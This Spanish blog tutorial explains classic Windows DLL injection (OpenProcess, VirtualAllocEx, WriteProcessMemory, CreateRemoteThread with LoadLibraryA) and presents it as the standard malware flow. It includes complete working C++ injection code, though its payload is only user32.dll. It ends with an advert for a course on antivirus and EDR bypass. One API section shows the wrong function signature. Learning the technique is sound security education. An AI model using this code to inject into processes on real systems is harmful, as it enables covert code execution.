De memoria remota a ejecución: Process Injection en Windows

Que tal amigos, ya se que ha pasado un tiempo en estos temas pero tambien he estado algo ocuapdo. Een la parte anterior logramos algo clave: abrir procesos remotos y reservar memoria dentro de ellos. Pero eso no es suficiente para un atacante.

El verdadero poder comienza cuando no solo accedes a la memoria de otro proceso… sino cuando ejecutas código dentro de él.

En esta parte vamos a construir el flujo clásico utilizado en malware:

abrir proceso → reservar memoria → escribir código → ejecutarlo remotament

Para eso usaremos:

  • OpenProcess
  • VirtualAllocEx
  • WriteProcessMemory
  • CreateRemoteThread

Veamos el código:

#include <windows.h>
#include <iostream>

int main() {
    DWORD pid;
    std::cout << "PID del proceso objetivo: ";
    std::cin >> pid;

    // 1 Abrir proceso
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        std::cout << "Error al abrir proceso\n";
        return 1;
    }

    // 2 Payload (MessageBox)
    const char* dllPath = "user32.dll";

    // 3 Reservar memoria en el proceso remoto
    LPVOID remoteMemory = VirtualAllocEx(
        hProcess,
        NULL,
        strlen(dllPath) + 1,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    if (!remoteMemory) {
        std::cout << "Error al reservar memoria\n";
        return 1;
    }

    // 4 Escribir en memoria remota
    if (!WriteProcessMemory(
        hProcess,
        remoteMemory,
        dllPath,
        strlen(dllPath) + 1,
        NULL
    )) {
        std::cout << "Error al escribir memoria\n";
        return 1;
    }

    // 5 Obtener dirección de LoadLibraryA
    LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(
        GetModuleHandle("kernel32.dll"),
        "LoadLibraryA"
    );

    // 6 Crear hilo remoto
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)loadLibraryAddr,
        remoteMemory,
        0,
        NULL
    );

    if (!hThread) {
        std::cout << "Error al crear hilo remoto\n";
        return 1;
    }

    std::cout << "DLL inyectada correctamente\n";

    CloseHandle(hThread);
    CloseHandle(hProcess);

    return 0;
}

Desenmarañemos esto: Primero tenemos un Open Process, esto obtiene el handle del proceo objetivo, VirtualAllocEx ya lo habiamos visto antes y con esto vamos a reservar la memoria necesaria dentro del proceso remoto, WriteProcessMemory, necesaria para escribir datos dentro el espacio, aquí colocaremos el payload, CreateRemoteThread para ejecutar código dentro del proceso.

Para leer/escribir en memoria y crear hilos remotos:

HANDLE OpenProcess(
  DWORD   dwDesiredAccess,  //Permisos 
  BOOL    bInheritHandle,   //Herencia del handle  
  DWORD   dwProcessId       //PID del objetivo 
);

Este es un punto crucial pues esto define si el payload podrá ejcutarse o no:

LPVOID VirtualAllocEx(
  HANDLE   hProcess,          //Proceso del objetivo
  LPVOID   lpAddress,       
  SIZE_T   dwSize,            //Tamaño
  DWORD    flAllocationType,  //MEM_COMMIT | MEM_RESERVE
  DWORD    flProtect          //Permisos
);

Vamos a escribir datos dentro de la memoria en otro proceso:

BOOL WriteProcessMemory(
  HANDLE      hProcess,
  LPVOID      lpBaseAddress,      //dirección remota
  LPCVOID     lpBuffer,           //Datos, los datos a escribir, el payload pues
  SIZE_T      nSize,              //Tamaño
  SIZE_T      *lpNumberOfBytesWritten
);

Creamos un hilo dentro de otro proceso:

BOOL WriteProcessMemory(
  HANDLE  hProcess,                  //Proceso objetivo
  LPVOID  lpBaseAddress,             //Dirección de memoria dentro de ese proceso
  LPCVOID lpBuffer,                  Datos a escribir (desde nuestro proceso)
  SIZE_T  nSize,                    //Tamaño de los datos
  SIZE_T  *lpNumberOfBytesWritten   //No nos interesa guardar cuántos bytes se escribieron
);

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

Bueno esto ha sido por el tema de hoy fue algo pequeño, pero es conciso, estudialo, repasalo, y espera mas contenido, seguire escribiendo más, que es la meta del año.

¡Happy Hacking!

¿Quieres llevar esto al siguiente nivel?

En este artículo vimos la base de la ejecución de código en memoria. Pero en entornos reales esto es solo el inicio.

En mi entrenamiento profundizo en:

  • desarrollo de loaders evasivos
  • ejecución de shellcode sin detección
  • bypass de antivirus y EDR
  • uso avanzado de WinAPI en escenarios reales

👉 Puedes ver el contenido completo aquí: 👉 https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp

None